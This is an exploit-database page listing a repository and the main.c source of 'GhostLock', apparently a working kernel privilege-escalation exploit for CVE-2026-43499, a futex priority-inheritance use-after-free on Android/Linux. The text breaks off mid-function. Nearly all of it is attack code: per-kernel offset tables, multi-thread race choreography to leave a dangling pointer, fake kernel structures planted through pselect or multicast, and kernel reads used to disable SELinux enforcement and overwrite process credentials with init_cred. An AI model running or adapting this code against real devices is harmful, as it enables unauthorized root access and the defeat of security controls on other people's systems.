Exploit databaseDownload repository ZIP
GH-9261f9e503d856136f4cb04d119b03b4
msedge-core/ghostlock-honorfne
Sources for CVE-2026-43499
169 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
msedge-core/ghostlock-honorfneRevision c2285c683675
- ↑..Parent directory
- kernelsnitch/
- common.h
- fops.c
- main.c
- memstart.c
- miniadb.c
- offset.h
- pipe.c
- pipe_physrw.c
- root.c
- runtime_struct_offsets.h
- slide.c
- target.h
- umh_root.c
- util.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
root/exploit/src/core/main.c
Suggested starting fileC · 87,289 bytes/*
* GhostLock — CVE-2026-43499 futex PI UAF exploit
*
* Phase 1: Write 1 — SELinux permissive (child-node PI write)
* Phase 2: Write 2 — cred = init_cred (child-node PI write via perf task leak)
*/
#include "common.h"
#include "offsets.h"
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/utsname.h>
const struct kernel_offsets *active_offsets = NULL;
/* Override target.h _OFF macros with dynamic offsets from offsets.h table */
#undef SELINUX_ENFORCING_OFF
#undef INIT_CRED_OFF
#undef INIT_TASK_OFF
#undef INIT_UTS_NS_OFF
#undef EMPTY_ZERO_PAGE_OFF
#undef ROOT_TASK_GROUP_OFF
#undef KPTR_RESTRICT_OFF
#undef SELINUX_BLOB_SIZES_OFF
#undef SECURITY_HOOK_HEADS_OFF
#undef KMALLOC_CACHES_OFF
#undef ANON_PIPE_BUF_OPS_OFF
#undef ASHMEM_MISC_FOPS_OFF
#undef ASHMEM_FOPS_OFF
#undef ASHMEM_IOCTL_OFF
#undef ASHMEM_COMPAT_IOCTL_OFF
#undef ASHMEM_MMAP_OFF
#undef ASHMEM_OPEN_OFF
#undef ASHMEM_RELEASE_OFF
#undef ASHMEM_SHOW_FDINFO_OFF
#undef CONFIGFS_READ_ITER_OFF
#undef CONFIGFS_BIN_WRITE_ITER_OFF
#undef COPY_SPLICE_READ_OFF
#undef NOOP_LLSEEK_OFF
#undef CAP_CAPABLE_ACTIVE_OFF
#undef SLIDE_NFULNL_LOGGER_OFF
#undef SLIDE_LOGGERS_0_1_OFF
#undef SLIDE_RANDOM_BOOT_ID_DATA_OFF
#undef SLIDE_SYSCTL_BOOTID_OFF
#define SELINUX_ENFORCING_OFF active_offsets->off_selinux_enforcing
#define SIG_ENFORCE_OFF active_offsets->off_sig_enforce
#define SIG_ENFORCE (KIMAGE_TEXT_BASE + SIG_ENFORCE_OFF)
#define INIT_CRED_OFF active_offsets->off_init_cred
#define INIT_TASK_OFF active_offsets->off_init_task
#define INIT_UTS_NS_OFF active_offsets->off_init_uts_ns
#define EMPTY_ZERO_PAGE_OFF active_offsets->off_empty_zero_page
#define ROOT_TASK_GROUP_OFF active_offsets->off_root_task_group
#define KPTR_RESTRICT_OFF active_offsets->off_kptr_restrict
#define SELINUX_BLOB_SIZES_OFF active_offsets->off_selinux_blob_sizes
#define SECURITY_HOOK_HEADS_OFF active_offsets->off_security_hook_heads
#define KMALLOC_CACHES_OFF active_offsets->off_kmalloc_caches
#define ANON_PIPE_BUF_OPS_OFF active_offsets->off_anon_pipe_buf_ops
#define ASHMEM_MISC_FOPS_OFF active_offsets->off_ashmem_misc_fops
#define ASHMEM_FOPS_OFF active_offsets->off_ashmem_fops
#define ASHMEM_IOCTL_OFF active_offsets->off_ashmem_ioctl
#define ASHMEM_COMPAT_IOCTL_OFF active_offsets->off_ashmem_compat_ioctl
#define ASHMEM_MMAP_OFF active_offsets->off_ashmem_mmap
#define ASHMEM_OPEN_OFF active_offsets->off_ashmem_open
#define ASHMEM_RELEASE_OFF active_offsets->off_ashmem_release
#define ASHMEM_SHOW_FDINFO_OFF active_offsets->off_ashmem_show_fdinfo
#define CONFIGFS_READ_ITER_OFF active_offsets->off_configfs_read_iter
#define CONFIGFS_BIN_WRITE_ITER_OFF active_offsets->off_configfs_bin_write_iter
#define COPY_SPLICE_READ_OFF active_offsets->off_copy_splice_read
#define NOOP_LLSEEK_OFF active_offsets->off_noop_llseek
#define CAP_CAPABLE_ACTIVE_OFF active_offsets->off_cap_capable_active
#define SLIDE_NFULNL_LOGGER_OFF active_offsets->off_slide_nfulnl_logger
#define SLIDE_LOGGERS_0_1_OFF active_offsets->off_slide_loggers_0_1
#define SLIDE_RANDOM_BOOT_ID_DATA_OFF active_offsets->off_slide_boot_id
#define SLIDE_SYSCTL_BOOTID_OFF active_offsets->off_slide_boot_id
/* Override struct field offsets (task_struct, etc.) with per-device values */
#include "runtime_struct_offsets.h"
static int select_offsets(void) {
struct utsname uts;
if (uname(&uts) < 0) return -1;
pr_info("kernel: %s\n", uts.release);
for (int i = 0; known_offsets[i].uname_r; i++) {
if (strcmp(uts.release, known_offsets[i].uname_r) == 0) {
active_offsets = &known_offsets[i];
pr_success("offsets matched: %s\n", active_offsets->uname_r);
if (active_offsets->kimage_text_base) {
p0_kimage_text_base = active_offsets->kimage_text_base;
}
if (active_offsets->kernel_phys_load) {
p0_kernel_phys_load = active_offsets->kernel_phys_load;
}
if (active_offsets->phys_offset) {
p0_phys_offset = active_offsets->phys_offset;
}
g_init_cred_image = INIT_CRED;
pr_info("init_cred image=%016zx alias=%016zx\n",
(size_t)g_init_cred_image, (size_t)data_addr(g_init_cred_image));
return 0;
}
}
pr_error("no offsets for kernel: %s\n", uts.release);
pr_error("add this kernel to offsets.h and rebuild\n");
return -1;
}
static struct timespec t0;
static void timer_reset(void) { clock_gettime(CLOCK_MONOTONIC, &t0); }
static double timer_ms(void) {
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
return (now.tv_sec - t0.tv_sec) * 1000.0 + (now.tv_nsec - t0.tv_nsec) / 1e6;
}
#define TIMER(label) pr_info("[T+%.0fms] %s\n", timer_ms(), label)
extern int pselect_custom_write;
extern uintptr_t pselect_custom_target;
extern uintptr_t pselect_custom_value;
extern int pselect_child_node;
void set_pselect_write_mode(uintptr_t target, uintptr_t value, int mode);
void clear_pselect_write(void);
uint32_t f_wait;
uint32_t f_pi_target;
/* GL_ARM_T_T2 (run100): second clean PI futex owned by O0. L_t
* (f_pi_target's pi_mutex) waiters tree still holds the orphaned ghost,
* so ANY new LOCK_PI on it walks that tree and dies at task_blocks_on's
* :23d4 brk gate (top_waiter->lock != lock — ghost->lock = w7, never the
* real pi_mutex addr). f_pi_target2's tree is empty: T's arm takes the
* fresh-insert path (:22b8, no gate) and the ghost is consumed only via
* O0's pi_waiters walk, whose reads all land on stamped ghost words. */
uint32_t f_pi_target2;
uint32_t f_pi_chain;
atomic_int waiter_ready;
atomic_int waiter_waiting;
atomic_int owner_started;
atomic_int owner_chain_done;
atomic_int route_done;
atomic_int waiter_tid;
atomic_int owner_tid;
atomic_int arm_t_tid;
atomic_int arm_t_state;
atomic_int arm_t_go;
atomic_int arm_t_hit;
atomic_int punch_consume_go;
atomic_int punch_consume_stop;
atomic_int consumer_calls;
atomic_int consumer_success;
atomic_int main_route_delay_usec;
atomic_int pipe_prepare_request;
atomic_int pipe_prepare_done;
int memfd_leak;
/* GL choreography knobs (A1): parsed in main(); defaults keep legacy
* behavior bit-identical.
* M4_TIMEOUT_MS - WAIT_REQUEUE_PI timeout (default 1000 =
* legacy ROUTE_WAIT_SECONDS=1s).
* GL_STAMP_PRE_M4 - waiter self-stamps the ghost BEFORE the M4
* syscall (B-T4 experiment: which ghost words
* survive the task_blocks_on real writes).
* GL_PUNCH_IN_WINDOW - fire the consumer punch as seq=100 right after
* M6 returns (waiter still blocked in M4 — walks
* the LIVE waiter). In handoff mode main waits for
* the punch's C3 owner-prio read (punch_first_done)
* BEFORE releasing owner_unlock_go, so the punch
* lands in-window deterministically (run71).
* GL_PUNCH_DELAY_USEC - consumer delay for that in-window punch.
* GL_OWNER_HANDOFF - B-T6 Skip-A choreography: owner holds
* f_pi_target through M6 (so the requeue's
* task_blocks_on sets waiter->pi_blocked_on = X),
* then releases it on owner_unlock_go (set by
* main AFTER M6 returns). The blocked waiter's
* slowlock loop wins try_to_take, M4 returns 0,
* do_futex 5790 cbz SKIPS cleanup_proxy_lock —
* pi_blocked_on survives the return as the CVE
* dangling pointer. No EDEADLK: the owner is in
* userspace at M6 time, so the deadlock cycle is
* gone and the requeue SUCCEEDS (M6 ret>=0).
* Legacy (0) = EDEADLK choreography, dead per
* B-T2 (timeout path clears pi_blocked_on). */
static int m4_timeout_ms = 1000;
/* GL_HOLD_CHAIN: defer M4b (chain unlock) until AFTER the carrier. The
* post-return punch walk enters via adjust_pi(M4) -> top waiter on
* M4->pi_waiters = the owner blocked in O2 on f_pi_chain. Releasing the
* chain before the carrier empties M4->pi_waiters and every carrier
* punch returns from adjust_pi without walking anything (run47 zero-hit
* root cause). Only meaningful in LEGACY mode: HANDOFF's try_to_take
* (+0xc4) clears pi_blocked_on before the return anyway. */
static int hold_chain = 0;
static int stamp_pre_m4 = 0;
static int punch_in_window = 0;
static int punch_delay_usec = 0;
static int owner_handoff = 0;
static int arm_t_t2 = 0;
static int spray_test = 0;
static atomic_int owner_unlock_go;
static atomic_int punch_first_done;
static atomic_int spray_stop;
static atomic_int spray_ops;
static atomic_int spray_go;
/* Field 18 of /proc/<tid>/stat = task->prio - 100 (empirically verified).
* 39/38 = nice 19/18 punch APPLIED (alternating punches flip between
* them); 20 = prio 120 = nice 0 = punch NOT applied at all.
* This is a punch-APPLICATION check only, never walk evidence: per B-T2
* (settled disasm) no chain walk ever ran in runs 36-69, and the walk's
* rt_mutex_setprio targets the planted fake_task (memset-0 -> early
* exit), never the waiter — a walk cannot move this field. */
static int proc_prio(int tid) {
char path[64];
char buf[768];
snprintf(path, sizeof(path), "/proc/%d/stat", tid);
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0) return -1;
buf[n] = 0;
char *r = strrchr(buf, ')');
if (!r) return -1;
char *p = r + 1;
for (int i = 0; i < 15; i++) {
while (*p == ' ') p++;
while (*p && *p != ' ') p++;
}
while (*p == ' ') p++;
return (int)strtol(p, NULL, 10);
}
/* Enforce watcher: the W1 write is fire-and-forget (no read channel), and a
* landed walk usually poisons the pi trees and panics the box before the
* main flow can observe anything. Poll the sysfs enforce node every 20ms;
* on 0, write a persistent marker file FIRST (survives the reboot) and then
* print loudly. This turns crash-runs into detectable hits. */
static atomic_int enforce_hit;
static void *enforce_watcher_thread(void *arg __attribute__((unused))) {
int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);
if (fd < 0) return NULL;
char buf[16];
for (;;) {
errno = 0;
ssize_t n = pread(fd, buf, sizeof(buf) - 1, 0);
if (n > 0 && buf[0] == '0') break;
usleep(20000);
}
close(fd);
atomic_store(&enforce_hit, 1);
int m = open("/data/local/tmp/a/ENFORCE_HIT",
O_WRONLY | O_CREAT | O_TRUNC | O_DSYNC, 0666);
if (m >= 0) {
if (write(m, "enforce=0\n", 10) < 0) {}
close(m);
}
for (int i = 0; i < 100; i++) {
pr_success("*** ENFORCE=0 — SELINUX DISABLED — W1 WRITE LANDED ***\n");
usleep(10000);
}
return NULL;
}
void *waiter_thread(void *arg __attribute__((unused))) {
disable_rseq_for_thread();
int tid = (int)syscall(SYS_gettid);
atomic_store(&waiter_tid, tid);
/* Waiter holds f_pi_chain through M6. LEGACY (GL_OWNER_HANDOFF=0):
* the owner is blocked acquiring f_pi_chain at M6, so
* start_proxy_lock's deadlock check returns -EDEADLK after
* task_blocks_on set waiter->pi_blocked_on; the rollback's
* remove_waiter clears only current (main). B-T2 CORRECTION
* (2026-10-07, full do_futex disasm): the waiter's exit on the
* EDEADLK-armed state hits the 5728-5754 match_futex compare
* (q->key vs key2) FIRST — the rollback never moved q or updated
* q->key, so key1 != key2 -> 57cc early-wakeup (plist_del from hb1,
* hb_waiters_dec, errno -11/-513) which touches NEITHER
* cleanup_proxy_lock/remove_waiter NOR try_to_take. The (A)
* "timeout+success 双杀" audit missed this third path: pi_blocked_on
* = X DANGLING survives the return. The post-return stamp+punch
* route is ALIVE in LEGACY provided the waiter still owns f_pi_chain
* with the owner parked on it (GL_HOLD_CHAIN). HANDOFF
* (GL_OWNER_HANDOFF=1): try_to_take's +0xc4 clear still kills the
* dangle there — handoff remains diagnostic-only. */
if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0)
pr_error("waiter lock chain errno=%d\n", errno);
atomic_store(&waiter_ready, 1);
while (!atomic_load(&owner_started)) usleep(1000);
if (stamp_pre_m4) {
/* Ghost planted BEFORE the syscall: rt_mutex_init_waiter +
* task_blocks_on then write the REAL waiter fields over the ghost.
* B-T4 experiment — measures which ghost words (if any) survive
* until an in-window punch reads them. */
pr_info("PRE-M4 waiter: self-stamping ghost before WAIT_REQUEUE_PI\n");
mcast_stamp_once();
}
struct timespec timeout;
SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout));
timeout.tv_sec += m4_timeout_ms / 1000;
timeout.tv_nsec += (long)(m4_timeout_ms % 1000) * 1000000L;
if (timeout.tv_nsec >= 1000000000L) {
timeout.tv_nsec -= 1000000000L;
timeout.tv_sec++;
}
atomic_store(&waiter_waiting, 1);
errno = 0;
pr_info("M4 waiter: entering WAIT_REQUEUE_PI (timeout=%dms)\n",
m4_timeout_ms);
int wr_ret = futex_op(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0);
int wr_errno = errno;
/* Re-plant the residue on our own stack NOW: the M4 return tore down the
* requeue frame, and M4b's unlock frame is shallower so it will not
* reach the ghost depth — but any deep syscall in between would. */
mcast_stamp_once();
/* SF self-fire removed (proven self-defeating): the SF walk runs on the
* waiter's own stack and its frames (sched_setattr 0x90 + setsched 0x90 +
* adjust_pi 0x20 + walk 0x70 = 0x1B0) cover the entire ghost
* [A-0x1A0..A-0x158]; the walk prologue spills clobber every ghost word
* before the body re-reads them, so the 17cc prune check always
* mismatches and the walk silently bails. Worse, SF left the waiter at
* BATCH/19 so every consumer punch hit the "policy+nice unchanged ->
* return 0" fast path in __sched_setscheduler and never called
* rt_mutex_adjust_pi (run63/64: 36 punches, P1 frozen at 39). The
* consumer punches run on their own stack and are the only viable walk
* trigger; they now alternate nice 19/18 to defeat the fast path. */
pr_info("M4 waiter: WAIT_REQUEUE_PI ret=%d errno=%d (SF removed)\n",
wr_ret, wr_errno);
/* Mirror H80GT (legacy default): release the chain lock BEFORE the
* carrier so the owner reaches O3 (chain-locked) while the carrier
* walks the ghost. GL_HOLD_CHAIN=1 inverts this: keep f_pi_chain so
* the owner stays parked in O2 and M4->pi_waiters keeps its top
* waiter — the post-return punch walk (adjust_pi(M4) -> top waiter
* -> M4->pi_blocked_on = stamped ghost) finally has an entry. */
if (!hold_chain) {
errno = 0;
long ul_ret = futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
pr_info("M4b waiter: chain unlocked ret=%ld errno=%d, entering carrier\n",
ul_ret, errno);
} else {
pr_info("M4b waiter: GL_HOLD_CHAIN — deferring chain unlock until after "
"the carrier (owner stays parked in O2)\n");
}
/* GL_MCAST_ROUTE: 0 = force pselect route (fd_set waiter -> fake_lock
* -> fake_w0 page-plant erase), 1 = force mcast, default = device
* offset. The mcast route's setsockopt handler creates a kernel
* waiter on the REAL lock — the walk never reaches fake_lock, so the
* page-plant erase is dead on mcast. pselect sprays a fake waiter via
* fd_set with lock=fake_lock; the walk dequeues it then continues to
* fake_lock->waiters = fake_w0 (the W1 erase target). */
int use_mcast = active_offsets && active_offsets->mcast_route;
int gl_mcast = env_int_range("GL_MCAST_ROUTE", -1, -1, 1);
if (gl_mcast >= 0) use_mcast = gl_mcast;
if (use_mcast) {
do_mcast_fake_lock_route();
} else {
do_pselect_fake_lock_route();
}
pr_info("P2 waiter: own prio post-route=%d\n",
proc_prio((int)syscall(SYS_gettid)));
{
/* Post-route redirect probe on a FRESH fd: configfs_read_once only
* returns 8 bytes if the misc fops redirect landed (new opens inherit
* fake_fops); through real ashmem fops pread returns 0. pread is the
* safe probe — never lseek (fake llseek = code exec before repair). */
int pfd = open_ashmem_device();
if (pfd >= 0) {
uint64_t v = 0;
errno = 0;
ssize_t rr = configfs_read_once(pfd, page_base + SCRATCH_OFF, &v,
sizeof(v));
int re = errno;
pr_info("R1 post-route read fd=%d ret=%zd errno=%d val=%016llx\n",
pfd, rr, re, (unsigned long long)v);
close(pfd);
}
}
if (hold_chain) {
/* Carrier done: release f_pi_chain so the owner's O2 completes and
* owner_chain_done fires. After this point no further punches can
* walk the ghost (M4->pi_waiters drains). */
errno = 0;
long ul_ret = futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
pr_info("M4b waiter: post-carrier chain unlock ret=%ld errno=%d\n",
ul_ret, errno);
}
atomic_store(&route_done, 1);
while (!atomic_load(&owner_chain_done)) usleep(1000);
if (env_flag("GL_HOLD_WAITER", 0)) {
pr_info("P3 waiter: GL_HOLD_WAITER=1 — parking forever to keep "
"pi_blocked_on dangle alive (post-walk exit would walk the "
"ghost on a torn-down stack and panic)\n");
fflush(stdout);
for (;;) pause();
}
return NULL;
}
void *owner_thread(void *arg __attribute__((unused))) {
disable_rseq_for_thread();
atomic_store(&owner_tid, (int)syscall(SYS_gettid));
/* A4 run71: park the owner at nice 19 (prio 139). An in-window walk that
* reaches rt_mutex_setprio(owner, top_waiter_prio) then produces an
* OBSERVABLE boost (38 if it uses the waiter's post-punch prio 138, 20
* if it uses the stale armed X->prio 120) — vs 39 = no walk. This is a
* real-chain walk detector that needs no ghost and should not crash. */
sched_setattr_tid((int)syscall(SYS_gettid), PSELECT_CONSUMER_NICE);
pr_info("O0 owner: parked at nice 19 (prio %d)\n",
proc_prio((int)syscall(SYS_gettid)));
long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
if (lock_target != 0) pr_error("owner lock target errno=%d\n", errno);
pr_info("O1 owner: target-locked\n");
if (arm_t_t2) {
/* run100: hold the clean L_t2 too — T arms on THIS word, so its
* pi_mutex waiters tree stays empty until X2's fresh insert. Held
* for the thread's lifetime (both words released only at exit,
* after the DRY samples are captured). */
long lock_t2 = futex_op(&f_pi_target2, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
if (lock_t2 != 0) pr_error("owner lock target2 errno=%d\n", errno);
pr_info("O1b owner: target2-locked\n");
}
while (!atomic_load(&waiter_ready)) usleep(1000);
atomic_store(&owner_started, 1);
if (owner_handoff) {
/* B-T6: hold f_pi_target through M6 so the requeue's
* start_proxy_lock runs task_blocks_on (waiter->pi_blocked_on := X
* on the waiter's live M4 frame), then release on owner_unlock_go.
* MUST NOT release before main's M6 returns: with a vacant
* pi_mutex the requeue's start_proxy_lock fast path (try_to_take,
* waiter=NULL) would hand the lock over without ever running
* task_blocks_on — no dangle. After the release,
* mark_wakeup_next_waiter (owner side) dequeues X and wakes the
* waiter; its slowlock loop's try_to_take succeeds and do_futex
* 5790 cbz skips cleanup_proxy_lock — pi_blocked_on dangles. */
while (!atomic_load(&owner_unlock_go)) usleep(200);
errno = 0;
long ho = futex_op(&f_pi_target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
pr_info("OH owner: target handed off ret=%ld errno=%d\n", ho, errno);
}
pr_info("O2 owner: pre-chain-lock\n");
futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
pr_info("O3 owner: chain-locked\n");
atomic_store(&owner_chain_done, 1);
for (;;) sleep(1);
}
/* GL_ARM_T (orphaned-pi_tree attack, 2026-10-07): the EDEADLK rollback
* never runs cleanup_proxy_lock/remove_waiter, so M4's waiter X stays
* enqueued in O0->pi_waiters after the pi_state is freed - the stamped
* ghost IS that orphan node (root/leftmost, prio w[8]=0, red pc=w3=wv).
* A dedicated thread T parks on FUTEX_LOCK_PI(f_pi_target); the word
* still holds O0's tid, so attach_to_pi_owner arms T on a FRESH
* pi_state whose pi_mutex owner is the REAL O0 task. The arming's
* rt_mutex_enqueue_pi(O0, X2) inserts X2 (prio 120, nice 0) right of
* the ghost (prio 0) and rb_insert_color then sees the ghost's red
* pc = wv = page+0x40 as the grandparent: Case 1 (red uncle, planted
* at page+0xC0) recolors [page+0xC0] := (page+0x40)|1 - the readback -
* paints [page+0x40] := page+0x80 (gparent turns red, disasm-verified
* ca80 store) and exits at the planted black page+0x80 parent. No
* rotation, no root write, crash-free by construction. The consumer's
* punch on T
* (nice 0 -> 18) then walks T -> X2 -> fresh slot -> owner O0, whose
* owner-side dequeue/enqueue of X2->pi_tree runs in the ghost-bearing
* tree; rt_mutex_setprio(O0, 120) is the C3=20 boost signal. State: 0
* idle, 1 blocked inside LOCK_PI (armed), 2 returned, 3 broken
* (acquired the word - arming design invalid). Run97 static geometry
* (GL_ARM_T_WV_OFF=0xa80 + GL_ARM_T_W6_INIT + GL_ARM_T_DRY): wv =
* init_task+compat_robust_list (NULL at runtime, disasm-verified
* compat syscall write offset) and uncle = init_task.pi_state_list
* self-loop, so Case 1 recolors only never-walked init_task fields
* and setprio's donor is init_task - the collision becomes
* crash-free by construction with zero page dependence; the gparent
* paint store is [gparent] := [gparent]&~3 (=0, value-preserving). */
void *arm_t_thread(void *arg __attribute__((unused))) {
disable_rseq_for_thread();
int tid = (int)syscall(SYS_gettid);
atomic_store(&arm_t_tid, tid);
int seen_go = 0;
for (;;) {
int go = atomic_load(&arm_t_go);
if (go == 0 || go == seen_go) {
usleep(500);
continue;
}
seen_go = go;
/* GL_ARM_T_DELAY_USEC: hold-off before the first LOCK_PI of this
* cycle so the consumer's pre-arming page readback (AT pre words)
* completes before the enqueue collision can mutate them. */
int arm_delay_usec =
env_int_range("GL_ARM_T_DELAY_USEC", 0, 0, 1000000);
if (arm_delay_usec > 0) usleep((useconds_t)arm_delay_usec);
/* GL_ARM_T_BLOCK_MS: absolute CLOCK_MONOTONIC LOCK_PI timeout.
* 0 = block forever (timeout=NULL) — O0 holds the word for its
* lifetime so T parks until the process exits; the punch walks a
* live waiter with no re-arm race. Nonzero uses an absolute
* CLOCK_MONOTONIC deadline. */
int block_ms = env_int_range("GL_ARM_T_BLOCK_MS", 0, 0, 60000);
while (atomic_load(&arm_t_go) == go &&
atomic_load(&arm_t_state) != 3) {
struct timespec ts;
struct timespec *tsp = NULL;
if (block_ms > 0) {
clock_gettime(CLOCK_MONOTONIC, &ts);
ts.tv_nsec += (long)block_ms * 1000000L;
while (ts.tv_nsec >= 1000000000L) {
ts.tv_nsec -= 1000000000L;
ts.tv_sec++;
}
tsp = &ts;
}
atomic_store(&arm_t_state, 1);
errno = 0;
/* GL_ARM_T_T2=1 (run100): arm on f_pi_target2 — L_t's waiters
* tree holds the ghost and any LOCK_PI there dies at the :23d4
* brk gate; L_t2 is empty (fresh insert, no gate). */
uint32_t *arm_word = arm_t_t2 ? &f_pi_target2 : &f_pi_target;
long ret = futex_op(arm_word, FUTEX_LOCK_PI, 0, tsp, NULL, 0);
int fe = errno;
atomic_store(&arm_t_state, 2);
pr_info("T arm: LOCK_PI(%s) ret=%ld errno=%d timeout=%dms "
"(ret=-1/ETIMEDOUT = blocked/armed, owner=O0)\n",
arm_t_t2 ? "f_pi_target2" : "f_pi_target", ret, fe, block_ms);
if (ret == 0) {
errno = 0;
long ul = futex_op(arm_word, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
atomic_store(&arm_t_state, 3);
pr_error("T arm: ACQUIRED %s (ret=0) - did not block, "
"arming broken; unlock ret=%ld errno=%d, stopping T\n",
arm_t_t2 ? "f_pi_target2" : "f_pi_target", ul, errno);
break;
}
}
}
return NULL;
}
void *consumer_thread(void *arg __attribute__((unused))) {
disable_rseq_for_thread();
pin_to_core(CONSUMER_CORE);
int seen = 0;
while (!atomic_load(&punch_consume_stop)) {
int seq = atomic_load(&punch_consume_go);
if (seq == 0 || seq == seen) {
__asm__ volatile("yield" ::: "memory");
continue;
}
seen = seq;
pr_info("consumer: saw seq=%d\n", seq);
if (g_arm_t && page_base) {
/* Pre-arming page readback: the arm-T plant words BEFORE T's
* enqueue collision touches them (GL_ARM_T_DELAY_USEC holds T
* off). kernel_read64 through the ashmem/configfs channel is
* crash-safe here (real fops; no redirect landed in the mcast
* route) and runs on the consumer's own kernel stack, so it
* cannot clobber the waiter-side ghost. All-zero reads = the
* read channel is dead in this route, not evidence about the
* page. */
static int at_fd = -1;
if (at_fd < 0) at_fd = open_ashmem_device();
uint64_t at_w0 = kernel_read64(at_fd, page_base + 0x08);
uint64_t at_gpar = kernel_read64(at_fd, page_base + 0x40);
uint64_t at_uncle = kernel_read64(at_fd, page_base + 0x48);
uint64_t at_ggp = kernel_read64(at_fd, page_base + 0x80);
uint64_t at_red = kernel_read64(at_fd, page_base + 0xC0);
pr_info("AT pre: w0=%016llx gpar=%016llx uncle=%016llx "
"ggp=%016llx red=%016llx (planted: w0=%016llx "
"gpar=%016llx uncle=%016llx ggp=1 red=0; post-Case1: "
"gpar=%016llx red=%016llx)\n",
(unsigned long long)at_w0,
(unsigned long long)at_gpar,
(unsigned long long)at_uncle,
(unsigned long long)at_ggp,
(unsigned long long)at_red,
(unsigned long long)(fake_w0),
(unsigned long long)((page_base + 0x80) | 1),
(unsigned long long)(page_base + 0xC0),
(unsigned long long)(page_base + 0x80),
(unsigned long long)((page_base + 0x40) | 1));
}
if (g_arm_t && env_flag("GL_ARM_T_DRY", 0)) {
/* run97 DRY: no punch (the nice-18 walk's owner-side :1ba4
* assert semantics are unresolved - ghost->lock = w7 = fake_lock
* vs the fresh slot), so isolate the arming collision alone. The
* GL_ARM_T_DELAY_USEC hold-off puts T's first LOCK_PI ~5ms out;
* each arming cycle runs the audited static Case 1
* (GL_ARM_T_WV_OFF=0xa80) plus rt_mutex_setprio(O0, init_task).
* Sample twice so multiple 500ms re-arm cycles are covered:
* O0 prio 20 = collision ran (setprio boost 139->120 through the
* static donor) and every erase/re-insert cycle stayed clean;
* 39 = arming never collided; a panic here = the stamp misses
* the ghost pc itself (gparent = stale garbage, not our wv). */
int ttid = atomic_load(&arm_t_tid);
int otid = atomic_load(&owner_tid);
usleep(250000);
pr_info("AT dry#1: arm_t_state=%d T=%d/%d O0=%d/%d\n",
atomic_load(&arm_t_state), ttid,
ttid > 0 ? proc_prio(ttid) : -1, otid,
otid > 0 ? proc_prio(otid) : -1);
fflush(stdout);
usleep(650000);
pr_info("AT dry#2: arm_t_state=%d T=%d/%d O0=%d/%d\n",
atomic_load(&arm_t_state), ttid,
ttid > 0 ? proc_prio(ttid) : -1, otid,
otid > 0 ? proc_prio(otid) : -1);
fflush(stdout);
usleep(900000);
pr_info("AT dry#3: arm_t_state=%d T=%d/%d O0=%d/%d\n",
atomic_load(&arm_t_state), ttid,
ttid > 0 ? proc_prio(ttid) : -1, otid,
otid > 0 ? proc_prio(otid) : -1);
fflush(stdout);
atomic_store(&punch_consume_go, 0);
continue;
}
int tid = atomic_load(&waiter_tid);
if (g_arm_t) {
int ttid = atomic_load(&arm_t_tid);
if (ttid > 0) tid = ttid;
}
int calls_this_seq = 0;
while (!atomic_load(&punch_consume_stop) &&
atomic_load(&punch_consume_go) == seq) {
int delay_usec = atomic_load(&main_route_delay_usec);
if (delay_usec > 0) usleep((useconds_t)delay_usec);
if (g_arm_t && atomic_load(&arm_t_state) != 3) {
/* Wait for T to sit blocked inside FUTEX_LOCK_PI (armed on the
* fresh pi_state, X2 enqueued) so the punch walks a live
* waiter. state flips 1<->2 every 500ms re-arm cycle. */
struct timespec ws;
clock_gettime(CLOCK_MONOTONIC, &ws);
while (atomic_load(&arm_t_state) != 1) {
struct timespec nw;
clock_gettime(CLOCK_MONOTONIC, &nw);
if (nw.tv_sec - ws.tv_sec >= 2) break;
usleep(200);
}
if (atomic_load(&arm_t_state) == 1) usleep(2000);
}
for (int burst = 0; burst < PSELECT_CONSUMER_BURST_CALLS; burst++) {
if (atomic_load(&punch_consume_stop) ||
atomic_load(&punch_consume_go) != seq) break;
atomic_fetch_add(&consumer_calls, 1);
/* Alternate nice 19/18 across ALL punches (static persists across
* route attempts and consumer_calls resets): every punch must be a
* real policy/nice change, else __sched_setscheduler's
* "policy==p->policy && nice==task_nice(p) -> return 0" fast path
* skips rt_mutex_adjust_pi and the walk never fires.
*
* punch_flip starts at 1 so the FIRST punch is always ALT (nice 18):
* the waiter parks at nice 19, so nice 18 is a real change. The
* SECOND punch then flips to NICE (19) — also a real change from 18.
* This handles the two-punch sequence (in-window seq=100 + route
* seq=1) where a per-seq calls_this_seq==0 override would force
* nice 18 twice, making the route punch a fast-path no-op. */
/* GL_ARM_T: T parks at nice 0, so always punch nice 18 (ALT).
* punch_flip's alternating 19 is a no-op when T is already 19
* (C3=39 false negative) and double-punch across leaked consumer
* threads made it worse. Non-ARM_T keeps the flip for the
* two-punch in-window + route sequence. */
static int punch_flip = 1;
int punch_nice;
if (g_arm_t) {
punch_nice = PSELECT_CONSUMER_NICE_ALT;
} else {
punch_nice = punch_flip ? PSELECT_CONSUMER_NICE_ALT
: PSELECT_CONSUMER_NICE;
punch_flip = !punch_flip;
}
if (calls_this_seq == 0 && dm_page_active()) {
/* dm plant snapshot at the exact punch boundary: the plant page
* is userspace-readable (our own anon mapping), so prove the
* content is intact at the moment the walk derefs it. */
uint64_t pr8 = 0, pr10 = 0, ppc = 0, pch = 0;
dm_probe64(fake_lock + 0x08, &pr8);
dm_probe64(fake_lock + 0x10, &pr10);
dm_probe64(fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF, &ppc);
dm_probe64(fake_right, &pch);
